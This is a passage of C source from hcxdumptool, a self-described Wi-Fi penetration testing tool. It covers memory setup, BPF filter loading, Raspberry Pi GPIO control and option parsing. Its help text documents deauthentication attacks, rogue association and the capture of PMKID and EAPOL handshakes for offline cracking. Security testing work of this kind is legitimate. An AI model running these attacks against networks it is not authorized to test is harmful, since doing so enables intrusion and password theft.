free(maclist); if(clientlist != NULL) free(clientlist); if(aprglist != NULL) free(aprglist); if(aplist != NULL) free(aplist); if(scanlist != NULL) free(scanlist); if(ifpresentlist != NULL) { for(i = 0; i < INTERFACELIST_MAX; i++) { if((ifpresentlist +i)->frequencylist != NULL) free((ifpresentlist +i)->frequencylist); } free(ifpresentlist); } return; } /*---------------------------------------------------------------------------*/ static void close_fds(void) { if(fd_timer1 != 0) close(fd_timer1); if(fd_pcapng != 0) close(fd_pcapng); #ifdef HCXNMEAOUT if(fd_gps != 0) close(fd_gps); if(fd_hcxpos != 0) close(fd_hcxpos); #endif return; } /*---------------------------------------------------------------------------*/ static bool init_lists(void) { ssize_t i; if((scanlist = (frequencylist_t*)calloc(SCANLIST_MAX, FREQUENCYLIST_SIZE)) == NULL) return false; if((aplist = (aplist_t*)calloc(APLIST_MAX, APLIST_SIZE)) == NULL) return false; if((aprglist = (aprglist_t*)calloc(APRGLIST_MAX, APRGLIST_SIZE)) == NULL) return false; if((clientlist = (clientlist_t*)calloc(CLIENTLIST_MAX, CLIENTLIST_SIZE)) == NULL) return false; if((maclist = (maclist_t*)calloc(MACLIST_MAX, MACLIST_SIZE)) == NULL) return false; if((ifpresentlist = (interface_t*)calloc(INTERFACELIST_MAX, INTERFACELIST_SIZE)) == NULL) return false; for(i = 0; i < INTERFACELIST_MAX; i++) { if(((ifpresentlist +i)->frequencylist = (frequencylist_t*)calloc(FREQUENCYLIST_MAX, FREQUENCYLIST_SIZE)) == NULL) return false; } return true; } /*===========================================================================*/ static size_t chop(char *buffer, size_t len) { char *ptr = NULL; ptr = buffer +len - 1; while(len) { if(*ptr != '\n') break; *ptr-- = 0; len--; } while(len) { if(*ptr != '\r') break; *ptr-- = 0; len--; } return len; } /*---------------------------------------------------------------------------*/ static int fgetline(FILE *inputstream, size_t size, char *buffer) { size_t len = 0; char *buffptr = NULL; if(feof(inputstream)) return -1; buffptr = fgets(buffer, size, inputstream); if(buffptr == NULL) return -1; len = strlen(buffptr); len = chop(buffptr, len); return len; } /*===========================================================================*/ static bool read_bpf(char *bpfname) { static int len; static struct sock_filter *bpfptr; static FILE *fh_filter; static char linein[128]; if((fh_filter = fopen(bpfname, "r")) == NULL) return false; bpf.filter = (struct sock_filter*)calloc(BPF_MAXINSNS, sizeof(struct sock_filter)); bpf.len = 0; bpfptr = bpf.filter; while(bpf.len < BPF_MAXINSNS +1) { if((len = fgetline(fh_filter, 128, linein)) == -1) break; if(bpf.len == BPF_MAXINSNS) { bpf.len = 0; break; } if(len < 7) continue; if(linein[0] != '{') { if(sscanf(linein, "%" SCNu16 "%" SCNu8 "%" SCNu8 "%" SCNu32, &bpfptr->code, &bpfptr->jt, &bpfptr->jf, &bpfptr->k) != 4) { bpf.len = 0; break; } } else { if(sscanf(linein, "{ %" SCNx16 ", %" SCNu8 ", %" SCNu8 ", %" SCNx32 " },",&bpfptr->code, &bpfptr->jt, &bpfptr->jf, &bpfptr->k) != 4) { bpf.len = 0; break; } } bpfptr++; bpf.len++; } fclose(fh_filter); if(bpf.len == 0) return false; return true; } /*---------------------------------------------------------------------------*/ #ifdef HCXWANTLIBPCAP static bool compile_bpf(char *bpfs) { static u16 i; static pcap_t *hpcap = NULL; static struct bpf_program bpfp; struct bpf_insn *bpfins; if((hpcap = pcap_open_dead(DLT_IEEE802_11_RADIO, PCAPNG_SNAPLEN)) == NULL) { fprintf(stderr, "to 0pen libpcap\n"); return false; } if(pcap_compile(hpcap, &bpfp, bpfs, 1, 0)) { fprintf(stderr, "failed to compile BPF\n"); return false; } bpfins = bpfp.bf_insns; for(i = 0; i < bpfp.bf_len; ++bpfins, ++i) fprintf(stdout, "%u %u %u %u\n", bpfins->code, bpfins->jt, bpfins->jf, bpfins->k); pcap_freecode(&bpfp); return true; } #endif /*---------------------------------------------------------------------------*/ static void read_essidlist(char *listname) { static size_t i; static int len; static FILE *fh_essidlist; static char linein[ESSID_MAX]; if((fh_essidlist = fopen(listname, "r")) == NULL) { fprintf(stderr, "failed to open ESSID list %s\n", listname); return; } i = 0; while(i < (APRGLIST_MAX - 1)) { if((len = fgetline(fh_essidlist, ESSID_MAX, linein)) == -1) break; if((len == 0) || (len > ESSID_MAX)) continue; (aprglist +i)->tsakt = tsakt -i; (aprglist +i)->essidlen = len; memcpy((aprglist +i)->essid, linein, len); (aprglist +i)->macaprg[5] = nicaprg & 0xff; (aprglist +i)->macaprg[4] = (nicaprg >> 8) & 0xff; (aprglist +i)->macaprg[3] = (nicaprg >> 16) & 0xff; (aprglist +i)->macaprg[2] = ouiaprg & 0xff; (aprglist +i)->macaprg[1] = (ouiaprg >> 8) & 0xff; (aprglist +i)->macaprg[0] = (ouiaprg >> 16) & 0xff; nicaprg++; i++; } (aprglist +i)->essidlen = 0; fclose(fh_essidlist); return; } /*===========================================================================*/ /*===========================================================================*/ /* RASPBERRY PI */ static bool init_rpi(void) { static FILE *modinfo; static FILE *procinfo; static int fd_devinfo; static int len = 0; static unsigned int gpioperibase = 0; static char linein[RASPBERRY_INFO] = { 0 }; gpio_map = MAP_FAILED; if((modinfo = fopen("/proc/device-tree/model", "r")) == NULL) { perror("failed to get model information"); return false; } len = fgetline(modinfo, RASPBERRY_INFO, linein); fclose(modinfo); if(len < RPINAME_SIZE) return false; if(memcmp(rpiname, linein, RPINAME_SIZE) != 0) return false; if((procinfo = fopen("/proc/cpuinfo", "r")) != NULL) { while(1) { if((len = fgetline(procinfo, RASPBERRY_INFO, linein)) == -1) break; if(len > 8) { if(strstr(linein, "Serial") != NULL) { if(len > 8) seed += strtoul(&linein[len - 6], NULL, 16); } } } fclose(procinfo); } if((fd_devinfo = open("/dev/gpiomem", O_RDWR | O_SYNC)) > 0) { gpio_map = mmap(NULL, RPI_BLOCK_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, fd_devinfo, gpioperibase); close(fd_devinfo); } else { if((procinfo = fopen("/proc/iomem", "r")) != NULL) { while(1) { if((len = fgetline(procinfo, RASPBERRY_INFO, linein)) == -1) break; if(strstr(linein, ".gpio") != NULL) { if(linein[8] != '-') break; { linein[8] = 0; gpioperibase = strtoul(linein, NULL, 16); if(gpioperibase != 0) { if((fd_devinfo = open("/dev/mem", O_RDWR | O_SYNC)) > 0) { gpio_map = mmap(NULL, RPI_BLOCK_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, fd_devinfo, gpioperibase); close(fd_devinfo); } } break; } } } fclose(procinfo); } } if(gpio_map == MAP_FAILED) { fprintf(stderr, "failed to map GPIO memory\n"); return false; } gpio = (volatile unsigned *)gpio_map; if(gpiostatusled > 0) { INP_GPIO(gpiostatusled); OUT_GPIO(gpiostatusled); } if(gpiobutton > 0) INP_GPIO(gpiobutton); return true; } /*===========================================================================*/ /*===========================================================================*/ __attribute__ ((noreturn)) static inline void version(char *eigenname) { struct utsname utsbuffer; fprintf(stdout, "%s %s (C) %s ZeroBeat\n", eigenname, VERSION_TAG, VERSION_YEAR); if(uname(&utsbuffer) == 0) fprintf(stdout, "running on Linux kernel %s\n", utsbuffer.release); #if defined (__GLIBC__) fprintf(stdout, "running GNU libc version %s\n", gnu_get_libc_version()); #endif #if defined(__GNUC__) && !defined(__clang__) fprintf(stdout, "compiled by gcc %d.%d.%d\n", __GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__); #elif defined(__clang__) fprintf(stdout, "compiled by clang %d.%d.%d\n", __clang_major__, __clang_minor__, __clang_patchlevel__); #else fprintf(stdout, "compiler (__clang__ / __GNUC__) is not defined\n"); #endif #if defined (LINUX_VERSION_MAJOR) fprintf(stdout, "compiled with Linux API headers %d.%d.%d\n", LINUX_VERSION_MAJOR, LINUX_VERSION_PATCHLEVEL, LINUX_VERSION_SUBLEVEL); #else fprintf(stdout, "Linux API headers (LINUX_VERSION_MAJOR) is not defined\n"); #endif #if defined (__GLIBC__) fprintf(stdout, "compiled with GNU libc headers %d.%d\n", __GLIBC__, __GLIBC_MINOR__); #else fprintf(stdout, "glibc (__GLIBC_MINOR__) is not defined\n"); #endif #ifdef HCXSTATUSOUT fprintf(stdout, "enabled REALTIME DISPLAY\n"); #else fprintf(stdout, "disabled REALTIME DISPLAY\n"); #endif #ifdef HCXNMEAOUT fprintf(stdout, "enabled GPS support\n"); #else fprintf(stdout, "disabled GPS support\n"); #endif #ifdef HCXWANTLIBPCAP fprintf(stdout, "enabled BPF compiler\n"); #else fprintf(stdout, "disabled BPF compiler\n"); #endif #ifdef HCXDEBUG fprintf(stdout, "running in debug mode\n"); #endif exit(EXIT_SUCCESS); } /*---------------------------------------------------------------------------*/ __attribute__ ((noreturn)) static inline void usage_additional(char *eigenname) { fprintf(stdout, "%s %s (C) %s ZeroBeat\n" "Additional information:\n-----------------------\n" "get information about running services that have access to the device:\n" " $ sudo systemctl --type=service --state=running\n" "stop all services that have access to the interface, e.g.:\n" " $ sudo systemctl stop NetworkManager.service\n" " $ sudo systemctl stop wpa_supplicant.service\n" "run %s - it will set an appropriate monitor mode\n" " scan for ACCESS POINTS in range (packets are not stored to dump file, not in combination with attack modes)\n" " $ %s -i INTERFACENAME -F --rcascan=active\n" " attack target(s) (not in combination with rcascan)\n" " $ %s -i INTERFACENAME -w dumpfile.pcapng -F --rds=1\n" " i : name of the interface to be used\n" " w : name of file to which packets are written\n" " F : use all available channels\n" " rds=1 : sort real time display by status (last PMKID/EAPOL on top)\n" "press ctrl+c to terminate\n" "press GPIO button to terminate\n" " hardware modification is necessary, read more:\n" " https://github.com/ZerBea/hcxdumptool/tree/master/docs\n" "to store entire traffic, run tshark in parallel on the same interface:\n" " $ tshark -i -w allframes.pcapng\n" "\n" "Berkeley Packet Filter:\n" "-----------------------\n" "tcpdump decimal numper format:\n" " example: tcpdump high level compiler:\n" " $ tcpdump -s %d -y IEEE802_11_RADIO wlan addr3 112233445566 -ddd > filter.bpf\n" " see man pcap-filter\n" " example: bpf_asm low level compiler\n" " $ bpf_asm filter.asm | tr ',' '\\n' > filter.bpf\n" " see https://www.kernel.org/doc/html/latest/networking/filter.html\n" " example: bpfc low level compiler:\n" " $ bpfc -f tcpdump -i filter.asm > filter.bpf\n" " see man bpfc\n" "tcpdump C style format:\n" " example: tcpdump high level compiler:\n" " $ tcpdump -s %d -y IEEE802_11_RADIO wlan addr3 112233445566 -dd > filter.bpf\n" " see man pcap-filter\n" " example: bpfc low level compiler:\n" " $ bpfc -f C -i filter.asm > filter.bpf\n" " see man bpfc\n" "\n" "Important recommendation:\n" "-------------------------\n" "Do not set monitor mode by third party tools or third party scripts!\n" "Do not use virtual interfaces (monx, wlanxmon, prismx, ...)!\n" "Do not use virtual machines or emulators!\n" "Do not run other tools that take access to the interface in parallel (except: tshark, wireshark, tcpdump)!\n" "Do not use tools to change the virtual MAC (like macchanger)!\n" "Do not merge (pcapng) dump files, because this destroys assigned hash values!\n" "\n", eigenname, VERSION_TAG, VERSION_YEAR, eigenname, eigenname, eigenname, PCAPNG_SNAPLEN, PCAPNG_SNAPLEN); exit(EXIT_SUCCESS); } /*---------------------------------------------------------------------------*/ __attribute__ ((noreturn)) static inline void usage(char *eigenname) { fprintf(stdout, "%s %s (C) %s ZeroBeat\n" "usage: %s \n" "\n" "most common options:\n--------------------\n" "-i : name of INTERFACE to be used\n" " default: first suitable INTERFACE\n" " warning:\n" " %s changes the mode of the INTERFACE\n" " %s changes the virtual MAC address of the INTERFACE\n" " %s changes the channel of the INTERFACE\n" "-w : write packets to a pcapng-format file named \n" " existing file will be overwritten\n" " default outfile name: yyyyddmmhhmmss-interfacename.pcapng\n" " existing file will not be overwritten\n" " get more information: https://pcapng.com/\n" "-c : set channel (1a,2a,36b,...)\n" " default: 1a,6a,11a\n" " important notice: channel numbers are not unique\n" " it is mandatory to add band information to the channel number (e.g. 12a)\n" " band a: NL80211_BAND_2GHZ\n" " band b: NL80211_BAND_5GHZ\n" #if(LINUX_VERSION_CODE >= KERNEL_VERSION(5, 10, 0)) " band c: NL80211_BAND_6GHZ\n" " band d: NL80211_BAND_60GHZ\n" " band e: NL80211_BAND_S1GHZ (902 MHz)\n" #endif " to disable frequency management, set this option to a single frequency/channel\n" "-f : set frequency (2412,2417,5180,...)\n" "-F : use all available frequencies from INTERFACE\n" "-t : minimum stay time (will increase on new stations and/or authentications)\n" " default %llu seconds\n" "-A : ACK incoming frames\n" " INTERFACE must support active monitor mode\n" "-L : show INTERFACE list and terminate\n" "-l : show INTERFACE list (tabulator separated and greppable) and terminate\n" "-I : show detailed information about INTERFACE and terminate\n" #ifdef HCXWANTLIBPCAP "--bpfc=: compile Berkeley Packet Filter (BPF) and exit\n" " $ %s --bpfc=\"wlan addr3 112233445566\" > filter.bpf\n" " see man pcap-filter\n" #endif "--bpf= : input Berkeley Packet Filter (BPF) code (maximum %d instructions) in tcpdump decimal numbers format\n" " see --help for more information\n" "-h : show this help\n" "-v : show version\n" "\n", #ifdef HCXWANTLIBPCAP eigenname, VERSION_TAG, VERSION_YEAR, eigenname, eigenname, eigenname, eigenname, TIMEHOLD / 1000000000ULL, eigenname, BPF_MAXINSNS); #else eigenname, VERSION_TAG, VERSION_YEAR, eigenname, eigenname, eigenname, eigenname, TIMEHOLD / 1000000000ULL, BPF_MAXINSNS); #endif fprintf(stdout, "less common options:\n--------------------\n" "-m : set monitor mode and terminate\n" "--disable_deauthentication: do not transmit DEAUTHENTICATION/DISASSOCIATION frames\n" "--disable_proberequest : do not transmit PROBEREQUEST frames\n" "--disable_association : do not AUTHENTICATE/ASSOCIATE\n" "--disable_reassociation : do not REASSOCIATE a CLIENT\n" "--disable_beacon : disable internal BEACON\n" " default: one BEACON/second to wildcard SSID\n" "--proberesponsetx= : transmit n PROBERESPONSEs from the ESSID ring buffer\n" " default: %d\n" "--essidlist= : initialize ESSID list with these ESSIDs\n" "--errormax= : set maximum allowed ERRORs\n" " default: %d ERRORs\n" "--watchdogmax= : set maximum TIMEOUT when no packets received\n" " default: %d seconds\n" "--attemptclientmax=: set maximum of attempts to request an EAPOL M2\n" " default: %d attempts\n" " to disable CLIENT attacks set 0\n" "--attemptapmax= : set maximum of received BEACONs to request a PMKID or to get a 4-way handshake\n" " default: stop after %d received BEACONs\n" " attemptapmax=0 include this options:\n" " disable_deauthentication: do not transmit DEAUTHENTICATION/DISASSOCIATION frames\n" " disable_proberequest : do not transmit PROBEREQUEST frames\n" " disable_association : do not AUTHENTICATE/ASSOCIATE\n" " disable_reassociation : do not REASSOCIATE a CLIENT\n", PROBERESPONSETX_MAX, ERROR_MAX, WATCHDOG_MAX, ATTEMPTCLIENT_MAX, ATTEMPTAP_MAX / 8); fprintf(stdout, "--tot= : enable timeout timer in minutes\n" "--exitoneapol= : exit on first EAPOL occurrence:\n" " bitmask:\n" " 1 = PMKID (from AP)\n" " 2 = EAPOL M2M3 (authorized)\n" " 4 = EAPOL M1M2/M1M2ROGUE (not authorized)\n" " 8 = EAPOL M1\n" " target BPF filter is recommended\n" "--onsigterm= : action when the program has been terminated (poweroff, reboot)\n" " poweroff: power off system\n" " reboot: reboot system\n" "--ongpiobutton= : action when the program has been terminated (poweroff, reboot)\n" " poweroff: power off system\n" " reboot: reboot system\n" "--ontot= : action when the program has been terminated (poweroff, reboot)\n" " poweroff: power off system\n" " reboot: reboot system\n" "--onwatchdog= : action when the program has been terminated (poweroff, reboot)\n" " poweroff: power off system\n" " reboot: reboot system\n" "--onerror= : action when the program has been terminated (poweroff, reboot)\n" " poweroff: power off system\n" " reboot: reboot system\n" "--gpio_button= : Raspberry Pi GPIO pin number of button (2...27)\n" " push GPIO button (> 10 seconds) to terminate program\n" " default: 0 (GPIO not in use)\n" "--gpio_statusled= : Raspberry Pi GPIO number of status LED (2...27)\n" " default: 0 (GPIO not in use)\n" #ifdef HCXNMEAOUT "--nmea_dev= : open NMEA device (/dev/ttyACM0, /dev/tty/USB0, ...)\n" " baudrate = BD9600\n" "--gpsd : use gpsd to get position\n" " gpsd will be switched to NMEA0183 mode\n" "--nmea_out= : write GPS information to a nmea-format file named \n" " default outfile name: yyyymmddhhmmss.nmea\n" " output: NMEA 0183 standard messages:\n" " $GPRMC: Position, velocity, time and date\n" " $GPGGA: Position, orthometric height, fix related data, time\n" " $GPWPL: Position and MAC AP\n" " $GPTXT: ESSID in HEX ASCII\n" " use gpsbabel to convert to other formats:\n" " gpsbabel -w -t -i nmea -f in_file.nmea -o gpx -F out_file.gpx\n" " gpsbabel -w -t -i nmea -f in_file.nmea -o kml -F out_file.kml\n" " get more information: https://en.wikipedia.org/wiki/NMEA_0183\n" "--nmea_pcapng : write GPS information to pcapng dump file\n" #endif "--rcascan= : do (R)adio (C)hannel (A)ssignment scan only\n" " default = passive scan\n" " a = active scan\n" " p = passive scan\n" " packets are not stored to dump file\n" " not in combination with attack modes\n"); #ifdef HCXSTATUSOUT fprintf(stdout, "--rds= : sort real time display\n" " attack mode:\n" " default: sort by time (last seen on top)\n" " 1 = sort by status (last PMKID/EAPOL on top)\n" " scan mode:\n" " 1 = sort by PROBERESPONSE count\n" " Columns:\n" " R = + AP display : AP is in TX range or under attack\n" " S = + AP display : AUTHENTICATION KEY MANAGEMENT PSK\n" " P = + AP display : got PMKID hashcat / JtR can work on\n" " 1 = + AP display : got EAPOL M1 (CHALLENGE)\n" " 3 = + AP display : got EAPOL M1M2M3 or EAPOL M1M2M3M4 (AUTHORIZATION) hashcat / JtR can work on\n" " E = + CLIENT display : got EAP-START MESSAGE\n" " 2 = + CLIENT display : got EAPOL M1M2 (ROGUE CHALLENGE) hashcat / JtR can work on\n"); #endif fprintf(stdout, "--help : show additional help (example and trouble shooting)\n" "--version : show version\n\n"); exit(EXIT_SUCCESS); } /*---------------------------------------------------------------------------*/ __attribute__ ((noreturn)) static inline void usageerror(char *eigenname) { fprintf(stdout, "%s %s (C) %s by ZeroBeat\n" "This is a penetration testing tool!\n" "It is made to detect vulnerabilities in your NETWORK mercilessly!\n" "\n" "usage:\n" " $ %s -h for an overview of all options\n" " $ %s --help for an example and trouble shooting\n", eigenname, VERSION_TAG, VERSION_YEAR, eigenname, eigenname); exit(EXIT_FAILURE); } /*===========================================================================*/ int main(int argc, char *argv[]) { static int auswahl = -1; static int index = 0; static u8 exiteapolflag = 0; static u8 exitsigtermflag = 0; static u8 exitgpiobuttonflag = 0; static u8 exittotflag = 0; static u8 exitwatchdogflag = 0; static u8 exiterrorflag = 0; static struct timespec tspecifo, tspeciforem; static bool monitormodeflag = false; static bool interfaceinfoflag = false; static bool interfacefrequencyflag = false; static bool interfacelistflag = false; static bool interfacelistshortflag = false; static bool rooterrorflag = false; static char *rcascanflag = NULL; static char *bpfname = NULL; #ifdef HCXWANTLIBPCAP static char *bpfstring = NULL; #endif static char *essidlistname = NULL; static char *userchannellistname = NULL; static char *userfrequencylistname = NULL; static char *pcapngoutname = NULL; #ifdef HCXNMEAOUT static bool gpsdflag = false; static char *nmea0183name = NULL; static char *nmeaoutname = NULL; #endif static const char *rebootstring = "reboot"; static const char *poweroffstring = "poweroff"; static const char *short_options = "i:w:c:f:m:I:t:FLlAhHv"; static struct tpacket_stats lStats = { 0 }; static socklen_t lStatsLength = sizeof(lStats); static const struct option long_options[] = { {"bpf", required_argument, NULL, HCX_BPF}, #ifdef HCXWANTLIBPCAP {"bpfc", required_argument, NULL, HCX_BPFC}, #endif {"disable_deauthentication", no_argument, NULL, HCX_DISABLE_DEAUTHENTICATION}, {"disable_proberequest", no_argument, NULL, HCX_DISABLE_PROBEREQUEST}, {"disable_association", no_argument, NULL, HCX_DISABLE_ASSOCIATION}, {"disable_reassociation", no_argument, NULL, HCX_DISABLE_REASSOCIATION}, {"disable_beacon", no_argument, NULL, HCX_DISABLE_BEACON}, {"proberesponsetx", required_argument, NULL, HCX_PROBERESPONSETX_MAX}, {"attemptclientmax", required_argument, NULL, HCX_ATTEMPT_CLIENT_MAX}, {"attemptapmax", required_argument, NULL, HCX_ATTEMPT_AP_MAX}, {"tot", required_argument, NULL, HCX_TOT}, {"essidlist", required_argument, NULL, HCX_ESSIDLIST}, #ifdef HCXNMEAOUT {"nmea_dev", required_argument, NULL, HCX_NMEA0183}, {"gpsd", no_argument, NULL, HCX_GPSD}, {"nmea_out", required_argument, NULL, HCX_NMEA0183_OUT}, {"nmea_pcapng", no_argument, NULL, HCX_NMEA0183_PCAPNG}, #endif {"errormax", required_argument, NULL, HCX_ERROR_MAX}, {"watchdogmax", required_argument, NULL, HCX_WATCHDOG_MAX}, {"onsigterm", required_argument, NULL, HCX_ON_SIGTERM}, {"ongpiobutton", required_argument, NULL, HCX_ON_GPIOBUTTON}, {"ontot", required_argument, NULL, HCX_ON_TOT}, {"onwatchdog", required_argument, NULL, HCX_ON_WATCHDOG}, {"exitoneapol", required_argument, NULL, HCX_EXIT_ON_EAPOL}, {"onerror", required_argument, NULL, HCX_ON_ERROR}, {"gpio_button", required_argument, NULL, HCX_GPIO_BUTTON}, {"gpio_statusled", required_argument, NULL, HCX_GPIO_STATUSLED}, {"rcascan", required_argument, NULL, HCX_RCASCAN}, #ifdef HCXSTATUSOUT {"rds", required_argument, NULL, HCX_RD_SORT}, #endif {"version", no_argument, NULL, HCX_VERSION}, {"help", no_argument, NULL, HCX_HELP_ADDITIONAL}, {NULL, 0, NULL, 0} }; optind = 1; optopt = 0; while((auswahl = getopt_long(argc, argv, short_options, long_options, &index)) != -1) { switch (auswahl) { case HCX_IFNAME: if((ifaktindex = if_nametoindex(optarg)) == 0) { perror("failed to get interface index"); exit(EXIT_FAILURE); } strncpy(ifaktname, optarg, IF_NAMESIZE -1); break; case HCX_BPF: bpfname = optarg; break; #ifdef HCXWANTLIBPCAP case HCX_BPFC: bpfstring = optarg; if(strlen(bpfstring) < 2) { fprintf(stderr, "BPF ERROR\n"); exit(EXIT_FAILURE); } break; #endif case HCX_PCAPNGNAME: pcapngoutname = optarg; break; case HCX_SET_SCANLIST_FROM_INTERFACE: interfacefrequencyflag = true; break; case HCX_SET_SCANLIST_FROM_USER_FREQ: userfrequencylistname = optarg; break; case HCX_SET_SCANLIST_FROM_USER_CH: userchannellistname = optarg; break; case HCX_ESSIDLIST: essidlistname = optarg; break; case HCX_DISABLE_DEAUTHENTICATION: deauthenticationflag = false; break; case HCX_DISABLE_PROBEREQUEST: proberequestflag = false; break; case HCX_DISABLE_ASSOCIATION: associationflag = false; break; case HCX_DISABLE_REASSOCIATION: reassociationflag = false; break; case HCX_DISABLE_BEACON: beaconoffflag = true; break; case HCX_PROBERESPONSETX_MAX: proberesponsetxmax = strtoul(optarg, NULL, 10); if((proberesponsetxmax == 0) || (proberesponsetxmax > (APRGLIST_MAX - 1))) { fprintf(stderr, "must be greater than > 0 and < than %d \n", APRGLIST_MAX - 1); exit(EXIT_FAILURE); } break; case HCX_ATTEMPT_CLIENT_MAX: attemptclientmax = strtoul(optarg, NULL, 10); break; case HCX_ATTEMPT_AP_MAX: if((attemptapmax = strtoul(optarg, NULL, 10)) > 0) attemptapmax *= 8; else { deauthenticationflag = false; proberequestflag = false; associationflag = false; reassociationflag = false; } break; case HCX_HOLD_TIME: if((timehold = strtoull(optarg, NULL, 10)) < 2) { fprintf(stderr, "hold time must be > 2 seconds"); exit(EXIT_FAILURE); } timehold *= 1000000000ULL; break; case HCX_TOT: if((tottime = strtoul(optarg, NULL, 10)) < 1) { fprintf(stderr, "time out timer must be > 0 minutes\n"); exit(EXIT_FAILURE); } tottime *= 60; break; case HCX_WATCHDOG_MAX: if((watchdogcountmax = atoi(optarg)) < 1) { fprintf(stderr, "time out timer must be > 0\n"); exit(EXIT_FAILURE); } break; case HCX_ERROR_MAX: if((errorcountmax = atoi(optarg)) < 1) { fprintf(stderr, "error counter must be > 0\n"); exit(EXIT_FAILURE); } break; case HCX_EXIT_ON_EAPOL: exiteapolflag = (atoi(optarg) & 0x0f) << 4; exiteapolpmkidflag |= exiteapolflag & EXIT_ON_EAPOL_PMKID; exiteapolm2flag |= exiteapolflag & EXIT_ON_EAPOL_M2; exiteapolm3flag |= exiteapolflag & EXIT_ON_EAPOL_M3; exiteapolm1flag |= exiteapolflag & EXIT_ON_EAPOL_M1; break; case HCX_ON_SIGTERM: if(strncmp(rebootstring, optarg, 8) == 0) exitsigtermflag = EXIT_ACTION_REBOOT; else if(strncmp(poweroffstring, optarg, 8) == 0) exitsigtermflag = EXIT_ACTION_POWEROFF; break; case HCX_ON_GPIOBUTTON: if(strncmp(rebootstring, optarg, 8) == 0) exitgpiobuttonflag = EXIT_ACTION_REBOOT; else if(strncmp(poweroffstring, optarg, 8) == 0) exitgpiobuttonflag = EXIT_ACTION_POWEROFF; break; case HCX_ON_TOT: if(strncmp(rebootstring, optarg, 8) == 0) exittotflag = EXIT_ACTION_REBOOT; else if(strncmp(poweroffstring, optarg, 8) == 0) exittotflag = EXIT_ACTION_POWEROFF; break; case HCX_ON_WATCHDOG: if(strncmp(rebootstring, optarg, 8) == 0) exitwatchdogflag = EXIT_ACTION_REBOOT; else if(strncmp(poweroffstring, optarg, 8) == 0) exitwatchdogflag = EXIT_ACTION_POWEROFF; break; case HCX_ON_ERROR: if(strncmp(rebootstring, optarg, 8) == 0) exiterrorflag = EXIT_ACTION_REBOOT; else if(strncmp(poweroffstring, optarg, 8) == 0) exiterrorflag = EXIT_ACTION_POWEROFF; break; case HCX_GPIO_BUTTON: gpiobutton = strtol(optarg, NULL, 10); if((gpiobutton < 2) || (gpiobutton > 27)) { fprintf(stderr, "invalid GPIO option\n"); exit(EXIT_FAILURE); } if(gpiostatusled == gpiobutton) { fprintf(stderr, "GPIO pin ERROR (same value of GPIO button and GPIO status LED)\n"); exit(EXIT_FAILURE); } break; case HCX_GPIO_STATUSLED: gpiostatusled = strtol(optarg, NULL, 10); if((gpiostatusled < 2) || (gpiostatusled > 27)) { fprintf(stderr, "invalid GPIO option\n"); exit(EXIT_FAILURE); } if(gpiostatusled == gpiobutton) { fprintf(stderr, "GPIO pin ERROR (same value of GPIO button and GPIO status LED)\n"); exit(EXIT_FAILURE); } break; case HCX_INTERFACE_INFO: if((ifaktindex = if_nametoindex(optarg)) == 0) { perror("failed to get interface index"); exit(EXIT_FAILURE); } strncpy(ifaktname, optarg, IF_NAMESIZE -1); interfaceinfoflag = true; break; case HCX_SET_MONITORMODE: if((ifaktindex = if_nametoindex(optarg)) == 0) { perror("failed to get interface index"); exit(EXIT_FAILURE); } strncpy(ifaktname, optarg, IF_NAMESIZE -1); monitormodeflag = true; break; case HCX_SHOW_INTERFACE_LIST: if(interfacelistshortflag == true) { fprintf(stderr, "combination of options -L and -l is not allowed\n"); exit(EXIT_FAILURE); } interfacelistflag = true; break; case HCX_SHOW_INTERFACE_LIST_SHORT: if(interfacelistflag == true) { fprintf(stderr, "combination of options -L and -l is not allowed\n"); exit(EXIT_FAILURE); } interfacelistshortflag = true; break; #ifdef HCXNMEAOUT case HCX_NMEA0183: if(gpsdflag == true) { fprintf(stderr, "nmea_dev not allowed in combination with gpsd\n"); exit(EXIT_FAILURE); } nmea0183name = optarg; break; case HCX_GPSD: if(nmea0183name != NULL) { fprintf(stderr, "gpsd not allowed in combination with nmea_dev\n"); exit(EXIT_FAILURE); } gpsdflag = true; break; case HCX_NMEA0183_OUT: nmeaoutname = optarg; break; case HCX_NMEA0183_PCAPNG: nmea2pcapflag = true; break; #endif case HCX_RCASCAN: rcascanflag = optarg; if((rcascanflag[0] != 'a') && (rcascanflag[0] != 'p')) { fprintf(stderr, "rcascan: only (a) active or (p) passive allowed\n"); exit(EXIT_FAILURE); } break; #ifdef HCXSTATUSOUT case HCX_RD_SORT: rdsort = strtol(optarg, NULL, 10); break; #endif case HCX_SET_MONITORMODE_ACTIVE: activemonitorflag = true; break; case HCX_HELP: usage(basename(argv[0])); break; case HCX_HELP_ADDITIONAL: usage_additional(basename(argv[0])); break; case HCX_VERSION: version(basename(argv[0])); break; case '?': usageerror(basename(argv[0])); break; default: usageerror(basename(argv[0])); } } setbuf(stdout, NULL); hcxpid = getpid(); #ifdef HCXDEBUG if((fh_debug = fopen("hcxdumptool.log", "a")) == NULL) { fprintf(stdout, "error opening fhcxdumptool.log: %s\n", strerror(errno)); exit(EXIT_FAILURE); } #endif #ifdef HCXWANTLIBPCAP if(bpfstring != NULL) { if(compile_bpf(bpfstring) == true) exit(EXIT_SUCCESS); else exit(EXIT_SUCCESS); } #endif if(interfacelistshortflag == false) { fprintf(stdout, "\nRequesting physical interface capabilities. This may take some time.\n" "Please be patient...\n\n"); } if(set_signal_handler() == false) { errorcount++; fprintf(stderr, "failed to initialize signal handler\n"); goto byebye; } if((gpiobutton + gpiostatusled) > 0) { if(init_rpi() == false) { errorcount++; fprintf(stderr, "failed to initialize Raspberry Pi GPIO\n"); goto byebye; } } if(init_lists() == false) { errorcount++; fprintf(stderr, "failed to initialize lists\n"); goto byebye; } init_values(); #ifdef HCXNMEAOUT if(nmea0183name != NULL) { if(open_device_nmea0183(nmea0183name, nmeaoutname) == false) { errorcount++; fprintf(stderr, "failed to open NMEA0183 device\n"); goto byebye; } } if(gpsdflag == true) { if(open_socket_gpsd(nmeaoutname) == false) { errorcount++; fprintf(stderr, "failed to connect to GPSD\n"); goto byebye; } } #endif /*---------------------------------------------------------------------------*/ if(open_control_sockets() == false) { errorcount++; fprintf(stderr, "failed to open control sockets\n"); goto byebye; } if(get_interfacelist() == false) { errorcount++; fprintf(stderr, "failed to get interface list\n"); goto byebye; } if(interfacelistflag == true) { show_interfacelist(); goto byebye; } if(interfacelistshortflag == true) { show_interfacelist_short(); goto byebye; } if(interfaceinfoflag == true) { show_interfacecapabilities(); goto byebye; } /*---------------------------------------------------------------------------*/ if(getuid() != 0) { errorcount++; fprintf(stderr, "%s must be run as root\n", basename(argv[0])); rooterrorflag = 